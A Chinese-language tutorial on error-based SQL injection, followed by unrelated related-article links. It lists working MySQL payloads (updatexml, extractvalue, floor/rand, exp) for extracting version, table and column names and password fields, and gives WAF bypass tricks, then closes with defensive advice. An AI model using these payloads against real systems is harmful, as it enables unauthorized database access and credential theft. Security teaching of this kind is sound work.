报错注入攻击原理与实操:从SQL错误信息泄露到数据提取

1. 报错注入到底是怎么一回事

1.1 从一个登录框说起

很多做Web开发的朋友都有过这样的经历:写了一个查询接口,用户输入一个ID,后台拼一条SQL去数据库里捞数据,返回结果。逻辑简单,代码也不复杂。但如果这个ID参数没有经过严格处理,直接拼进了SQL语句里,那这个接口就可能变成一个“会说话的漏洞”——你给它什么,它不一定老老实实查数据,反而可能把数据库的内部结构、版本信息、甚至表里的敏感数据,通过一条报错信息“喊”出来。

这就是报错注入攻击的核心逻辑。它不像联合查询注入那样需要页面有回显位,也不像盲注那样需要反复猜测、耗时巨大。报错注入的巧妙之处在于:它利用数据库在执行SQL时产生的错误提示,把原本不该显示的数据,夹带在错误信息里返回给攻击者。数据库本来是想告诉你“你这条语句写错了”,结果这个“错误提示”本身成了泄露信息的通道。

我最早接触报错注入是在一个内部测试环境里,当时一个查询接口传入单引号后,页面直接返回了数据库的语法错误,连数据库版本号都带出来了。那一刻我才真正意识到,错误信息本身就是一种“回显”,只不过它回显的不是查询结果,而是数据库的“抱怨”。而攻击者要做的,就是想办法让数据库“抱怨”出他想要的内容。

1.2 为什么报错注入依然值得关注

有人可能会说,现在开发框架都自带参数化查询了,报错注入是不是已经过时了?实际情况远没有这么乐观。我在实际项目中见过太多“半吊子防护”:有的用了ORM但某些复杂查询还是手写SQL拼接,有的对输入做了过滤但过滤规则不完整,有的把错误信息直接抛给前端方便调试。这些场景下,报错注入依然是一条高效的攻击路径。

更重要的是,报错注入是理解注入攻击原理的绝佳切入点。它涉及SQL语句的构造、数据库函数的特性、错误处理机制、以及信息提取的技巧。把这一个点吃透,你对整个注入攻击体系的理解会上一个台阶。这篇文章我会从原理、函数、实操、排查几个维度,把报错注入拆开揉碎讲清楚,适合有一定Web基础、想深入理解注入攻击原理的读者。

提示:本文所有内容仅用于安全原理学习和防御研究,请勿用于任何未经授权的测试环境。

2. 报错注入的核心原理与数据库差异

2.1 错误信息为什么会“泄露天机”

要理解报错注入,先要理解数据库的错误处理机制。当数据库执行一条SQL语句时,如果遇到语法错误、类型转换错误、函数参数错误等情况,它会生成一个错误对象,里面包含错误码和错误描述。这个描述通常会告诉你:哪一部分出了问题、期望什么类型、实际得到了什么。

举个例子,假设有这样一条查询:

SELECT * FROM users WHERE id = 1

如果传入的参数是1',语句变成:

SELECT * FROM users WHERE id = 1'

数据库会报语法错误,提示类似“You have an error in your SQL syntax near ''1''”。这个提示本身没什么敏感信息,但它证明了参数确实被拼进了SQL语句,而且错误信息会返回给前端。这两个条件一旦同时满足,报错注入就有了基础。

接下来攻击者要做的,是构造一条“故意出错”的语句,让错误信息里包含他想知道的数据。比如数据库版本、当前数据库名、表名、字段名、甚至具体的数据内容。不同数据库提供了不同的函数来实现这个目标。

2.2 MySQL中常用的报错注入函数

MySQL是报错注入中最常见的“受害者”,因为它提供了多个可以主动触发错误并携带数据的函数。我整理了几个最常用的:

函数名作用典型用法
updatexml()XML文档更新,参数格式错误时报错updatexml(1,concat(0x7e,version()),1)
extractvalue()XML值提取,XPath格式错误时报错extractvalue(1,concat(0x7e,database()))
floor()+rand()+group by主键重复报错floor(rand(0)*2)配合group by
exp()指数溢出报错exp(~(select * from(select version())a))
geometrycollection()几何类型错误配合子查询使用

这些函数的共同特点是:当参数不符合预期格式时,会把参数内容拼进错误信息里返回。比如updatexml(1,concat(0x7e,version()),1),第二个参数要求是合法的XPath表达式,但concat(0x7e,version())的结果是~5.7.26这样的字符串,不是合法XPath,数据库就会报错,错误信息里会包含~5.7.26。

这里的0x7e是波浪号~的十六进制表示,作用是作为分隔符,方便在错误信息中定位数据。你也可以用0x3a(冒号)或其他特殊字符,只要不和数据本身冲突就行。

2.3 其他数据库的报错注入特点

虽然MySQL的报错注入最“方便”,但其他数据库也有各自的报错注入方式。了解这些差异,有助于在不同环境下快速判断和应对。

SQL Server的报错注入通常利用类型转换错误。比如:

SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, @@version)

@@version返回的是字符串,转换成int会失败,错误信息里会包含版本字符串。SQL Server还支持FOR XML PATH等方式,但类型转换是最直接的。

Oracle的报错注入相对复杂一些,常用的是utl_inaddr.get_host_name()或ctxsys.drithsx.sn()等函数,通过传入非法参数触发错误。Oracle的错误信息通常比较“克制”,需要更精细的构造。

PostgreSQL的报错注入可以利用cast()类型转换错误,比如:

SELECT * FROM users WHERE id = 1 AND 1=cast(version() as int)

错误信息会包含版本字符串。PostgreSQL的错误提示比较详细,有时候甚至能直接看到查询计划。

注意:不同数据库版本的报错行为可能有差异,实际测试时需要根据目标环境调整。比如MySQL 8.0对某些函数的报错信息做了限制,可能需要换用其他函数。

2.4 报错注入与联合查询注入的取舍

很多人会问:既然有联合查询注入,为什么还要用报错注入?这个问题问得好。联合查询注入需要页面有回显位,也就是查询结果会直接显示在页面上。如果页面只返回“成功”或“失败”,或者只返回部分字段,联合查询就用不了。

报错注入的优势在于:它不依赖正常的回显位,而是依赖错误信息的回显。只要页面会显示数据库错误,报错注入就能工作。当然,如果页面连错误信息都不显示,那就只能走盲注路线了。

我在实际测试中通常的优先级是:联合查询 > 报错注入 > 布尔盲注 > 时间盲注。联合查询最快最直接,报错注入次之,盲注最慢但最通用。选择哪种方式,取决于目标页面的反馈特征。

3. 报错注入的完整实操流程

3.1 第一步:判断注入点与报错回显

任何注入攻击的第一步都是判断注入点。对于报错注入,你需要确认两件事:参数是否可注入,以及错误信息是否回显。

假设目标URL是:

http://example.com/product?id=1

你可以尝试传入1',观察页面反应。如果页面返回了数据库错误信息,比如“You have an error in your SQL syntax”,那基本可以确定存在注入,并且错误信息会回显。如果页面只显示“系统繁忙”或跳转到错误页,那错误信息可能被屏蔽了,报错注入的效果会打折扣。

有时候页面不会直接显示错误,但会通过状态码、响应时间或内容长度变化来暗示错误。这种情况下,你可能需要结合其他技术来判断。

我个人的习惯是先用and 1=1和and 1=2对比页面差异,确认注入点,然后再测试报错函数。这样逻辑更清晰,不容易误判。

3.2 第二步:构造报错语句提取基本信息

确认注入点后,下一步是构造报错语句。以MySQL为例,最常用的payload是:

id=1 and updatexml(1,concat(0x7e,version()),1)

这条语句会触发updatexml的XPath格式错误,错误信息中会包含~5.7.26这样的版本号。你可以把version()换成其他函数,提取不同信息:

  • database():当前数据库名
  • user():当前数据库用户
  • @@datadir:数据目录路径
  • @@version_compile_os:操作系统信息

如果updatexml被过滤了,可以尝试extractvalue:

id=1 and extractvalue(1,concat(0x7e,database()))

或者用floor报错:

id=1 and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

这条语句的原理是:floor(rand(0)*2)会产生0或1,与database()拼接后作为分组依据,当分组键重复时,MySQL会报“Duplicate entry”错误,错误信息里包含拼接的字符串。

提示:floor报错在某些MySQL版本中可能不稳定,因为rand()的执行次数和分组顺序有关。如果一次不成功,可以多试几次或调整rand的种子值。

3.3 第三步:提取表名和字段名

拿到数据库名后,下一步是提取表名。MySQL的information_schema.tables表存储了所有表的信息。你可以用报错函数配合子查询来提取:

id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

这条语句会返回当前数据库的第一个表名。通过调整limit的参数,可以逐个提取所有表名。如果表名太长,updatexml的错误信息有长度限制(通常约32个字符),可以用substr()截取:

id=1 and updatexml(1,concat(0x7e,substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,31)),1)

拿到表名后,用类似的方法从information_schema.columns提取字段名:

id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)

这个过程可能需要多次请求,但每一步都有明确的反馈,比盲注效率高得多。

3.4 第四步:提取具体数据

有了表名和字段名,最后一步就是提取具体数据。假设你要提取users表的password字段:

id=1 and updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)

如果数据有多行,用limit逐个提取。如果数据太长,用substr分段提取。如果数据中有特殊字符导致报错信息混乱,可以用hex()转成十六进制再提取。

整个流程下来,从判断注入点到拿到数据,熟练的话可能只需要几分钟。这也是报错注入相比盲注的巨大优势——每一步都有明确的反馈,不需要猜测。

3.5 实操中的注意事项

在实际操作中,有几个细节容易踩坑:

第一,错误信息的长度限制。MySQL的updatexml和extractvalue错误信息通常只能显示约32个字符,超出部分会被截断。所以提取长数据时一定要用substr分段。

第二,特殊字符的处理。如果数据中包含~、:等分隔符,可能会干扰数据定位。建议先用hex()转十六进制,提取后再解码。

第三,WAF的绕过。很多WAF会检测updatexml、extractvalue等关键词。可以尝试大小写混合、内联注释、编码等方式绕过。比如updatexml写成UpdateXml,或者用/*!50000updatexml*/。

第四,错误信息的编码。有些环境会对错误信息进行HTML编码或转义,导致数据无法直接读取。这时候需要根据实际情况调整提取方式。

注意:以上所有操作必须在合法授权的测试环境中进行。未经授权的测试可能违反法律法规,后果严重。

4. 报错注入的常见问题与排查技巧

4.1 为什么我的报错注入没有回显

这是最常见的问题。可能的原因有几种:

页面屏蔽了错误信息。有些应用在生产环境关闭了详细错误显示,只返回统一的错误页。这种情况下,报错注入无法直接获取数据,需要考虑盲注。

错误信息被转义或编码。比如<被转成&lt;,导致数据无法直接读取。可以尝试用hex()编码数据,或者寻找其他回显通道。

函数被过滤。WAF或代码层过滤了updatexml等关键词。尝试替换函数或使用编码绕过。

数据库版本不支持。某些函数在特定版本中行为不同。比如MySQL 8.0对updatexml的报错信息做了限制,可能需要换用exp()等其他函数。

排查时建议从最简单的version()开始,逐步增加复杂度。如果version()都出不来,说明基础条件不满足,需要换思路。

4.2 报错函数被过滤了怎么办

如果updatexml和extractvalue都被过滤,可以尝试以下替代方案:

使用floor报错:

id=1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

使用exp报错:

id=1 and exp(~(select * from(select version())a))

使用geometrycollection报错:

id=1 and geometrycollection((select * from(select version())a))

使用polygon报错:

id=1 and polygon((select * from(select version())a))

这些函数的报错机制不同,WAF的规则覆盖也可能不同。多准备几个备选方案,遇到过滤时逐个尝试。

4.3 如何判断报错注入是否可行

在投入大量时间之前,先做一个快速判断。我通常用以下步骤:

  1. 传入1',看是否返回数据库错误。
  2. 传入1 and 1=1和1 and 1=2,看页面是否有差异。
  3. 传入1 and updatexml(1,concat(0x7e,version()),1),看错误信息中是否包含版本号。

如果第3步成功,说明报错注入可行。如果第1步就没有错误信息,但第2步有差异,说明可能存在盲注。如果都没有,可能不存在注入或防护较严。

4.4 常见问题速查表

问题现象可能原因解决思路
无错误信息回显错误显示被关闭尝试盲注或时间盲注
错误信息被截断函数长度限制用substr分段提取
函数被过滤WAF规则替换函数或编码绕过
数据乱码编码问题用hex()转十六进制
报错不稳定函数特性调整参数或多试几次
页面返回统一错误全局异常处理寻找其他注入点或通道

4.5 防御报错注入的实用建议

从防御角度看,报错注入的根源是错误信息泄露和SQL拼接。对应的防御措施也很明确:

第一,使用参数化查询。这是最根本的解决方案。参数化查询将SQL语句和参数分开处理,参数不会被解释为SQL代码,注入就无从谈起。

第二,关闭详细错误显示。生产环境应该关闭数据库错误的前端显示,只记录到日志。这样即使存在注入,攻击者也拿不到有用信息。

第三,最小权限原则。数据库账号只授予必要的权限,避免使用root或sa等高权限账号连接应用。

第四,WAF辅助防护。WAF可以拦截常见的注入payload,但不应作为唯一防线。WAF规则可能被绕过,需要结合代码层防护。

第五,定期安全测试。通过专业的渗透测试发现潜在注入点,及时修复。

我在实际项目中见过一个案例:某系统使用了ORM框架,但有一个复杂查询是手写SQL拼接的,开发人员觉得“这个参数是内部生成的,不会有问题”。结果这个参数最终来源于用户输入,导致注入。这个案例说明,任何拼接SQL的地方都不能掉以轻心,哪怕看起来“很安全”。

5. 从报错注入延伸的思考

报错注入只是SQL注入的一种形式,但它揭示了一个更深层的问题:系统对错误信息的处理方式,直接关系到安全边界。一个看似无害的错误提示,可能成为攻击者了解系统的窗口。我在做安全评估时,经常会特别关注错误处理逻辑,因为这里往往是防护最薄弱的地方。

另一个值得思考的点是:为什么参数化查询没有在所有项目中普及?很多时候不是开发人员不知道,而是历史代码、性能考虑、框架限制等因素导致。作为安全从业者,我们需要理解这些现实约束,提出可落地的改进方案,而不是简单地说“用参数化查询就行了”。

最后分享一个我在实际工作中总结的小技巧:在测试注入时,先用and 1=1和and 1=2确认注入点,再用order by判断字段数,最后根据回显情况选择注入方式。这个流程看起来简单,但能帮你快速定位问题,避免在错误的方向上浪费时间。报错注入虽然“古老”,但在合适的场景下依然是最优雅的解决方案之一。

相关新闻

图数据建模必知:从转导式到归纳式学习的范式切换实践

图数据建模必知:从转导式到归纳式学习的范式切换实践

前阵子接手一个图数据的用户行为预测项目&#xff0c;最初跑得挺顺&#xff0c;后来每来一批新用户&#xff0c;模型效果就肉眼可见地掉。一开始我以为只是特征没做好&#xff0c;调了一周才意识到&#xff0c;问题出在我用的学习范式上——我一直在一张静态图上做转导式&#…

2026/10/20 21:30:50 阅读更多 →
Docker镜像加载原理:分层、内容寻址与联合文件系统

Docker镜像加载原理:分层、内容寻址与联合文件系统

1. 从一次镜像拉取卡顿说起&#xff1a;为什么需要搞懂加载原理很多人用 Docker 的第一课就是docker pull&#xff0c;然后docker run&#xff0c;容器跑起来了&#xff0c;任务就算完成。直到某天你发现&#xff1a;同一个镜像&#xff0c;在测试机上拉取只要十几秒&#xff0…

2026/10/20 21:30:50 阅读更多 →
扩展HTTP协议实现文件夹多线程分片秒传:信创环境下的完整方案

扩展HTTP协议实现文件夹多线程分片秒传:信创环境下的完整方案

前段时间做信创改造&#xff0c;好几个同行都在问同一个问题&#xff1a;配置再高、网络再好的环境里&#xff0c;为什么文件夹上传还是动不动报错&#xff1f;仔细一看&#xff0c;多数系统还在用最原始的multipart/form-data一次性上传。大文件传一半断了就从头再来&#xff…

2026/10/20 21:30:50 阅读更多 →

最新新闻

知识蒸馏进阶:变分信息蒸馏VID原理与实战

知识蒸馏进阶:变分信息蒸馏VID原理与实战

1. 从知识蒸馏的瓶颈说起如果你这两年一直在跟进模型压缩和知识蒸馏方向&#xff0c;大概率会有一种感觉&#xff1a;传统KD&#xff08;Knowledge Distillation&#xff09;那套“软标签KL散度”的玩法&#xff0c;在早期分类任务上确实好使&#xff0c;但一旦碰到特征维度高、…

2026/10/20 22:18:29 阅读更多 →
5秒进3秒出片:AI视频风格化与V2V技术实测解析

5秒进3秒出片:AI视频风格化与V2V技术实测解析

1. 这个标题背后的需求&#xff0c;其实没你想的那么简单先问一句&#xff1a;你说的“出片”&#xff0c;到底是哪种“出片”&#xff1f;我拿这个标题去问了一圈做短视频的朋友&#xff0c;得到的答案五花八门。有人说我要的是“我拍一段真人视频&#xff0c;AI直接给我变成动…

2026/10/20 22:18:29 阅读更多 →
Notepad++下载安装与配置全攻略:避坑指南与效率提升技巧

Notepad++下载安装与配置全攻略:避坑指南与效率提升技巧

我电脑里常年躺着好几个文本编辑器&#xff0c;但要说最顺手、打开最快、从大学写代码到现在写博客都离不开的那个&#xff0c;还得是Notepad。这软件太出名了&#xff0c;以至于很多人觉得“下载安装还有什么好说的&#xff0c;官网一搜不就有了吗”。但我在实际工作和帮朋友弄…

2026/10/20 22:18:29 阅读更多 →
零代码打造机械臂遥控器:智能体开发实录与硬件控制边界探索

零代码打造机械臂遥控器:智能体开发实录与硬件控制边界探索

1. 从"一行代码没写"说起&#xff1a;这个标题到底在讲什么第一次看到"我一行代码没写&#xff0c;机械臂遥控器做出来了"这个标题&#xff0c;我的反应是&#xff1a;要么是标题党&#xff0c;要么背后有一套相当成熟的智能体开发范式在支撑。仔细拆解之后…

2026/10/20 22:18:29 阅读更多 →
AMD收购Xilinx后Vivado工具链稳定性与迁移策略解析

AMD收购Xilinx后Vivado工具链稳定性与迁移策略解析

1. 从一句调侃说起&#xff1a;AMD与Vivado之间到底什么关系“AMD Ross没有介入Vivado的私生活”这句话第一次看到的时候&#xff0c;我正蹲在一个FPGA开发群里看人吐槽工具链。乍一看像八卦标题&#xff0c;实际上是个技术梗——它调侃的是AMD收购Xilinx之后&#xff0c;很多人…

2026/10/20 22:18:29 阅读更多 →
多Agent系统架构设计与工程实践:从单Agent瓶颈到Agent蜂群

多Agent系统架构设计与工程实践:从单Agent瓶颈到Agent蜂群

1. 多Agent系统到底在解决什么问题1.1 从单Agent的瓶颈说起做过Agent项目的人大概都有这种体会&#xff1a;单个Agent在简单任务上表现还行&#xff0c;一旦任务链路变长、涉及的工具变多、需要同时处理的信息源超过三四个&#xff0c;它就开始“犯糊涂”了。具体表现包括&…

2026/10/20 22:17:20 阅读更多 →

日新闻

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
ESP32舵机控制指南:原理、多路驱动与避坑实战

ESP32舵机控制指南:原理、多路驱动与避坑实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
位移法实现一阶低通滤波:单片机ADC采样降噪实战

位移法实现一阶低通滤波:单片机ADC采样降噪实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/20 10:02:13 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/20 20:43:59 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/20 2:50:50 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 10:02:08 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:45 阅读更多 →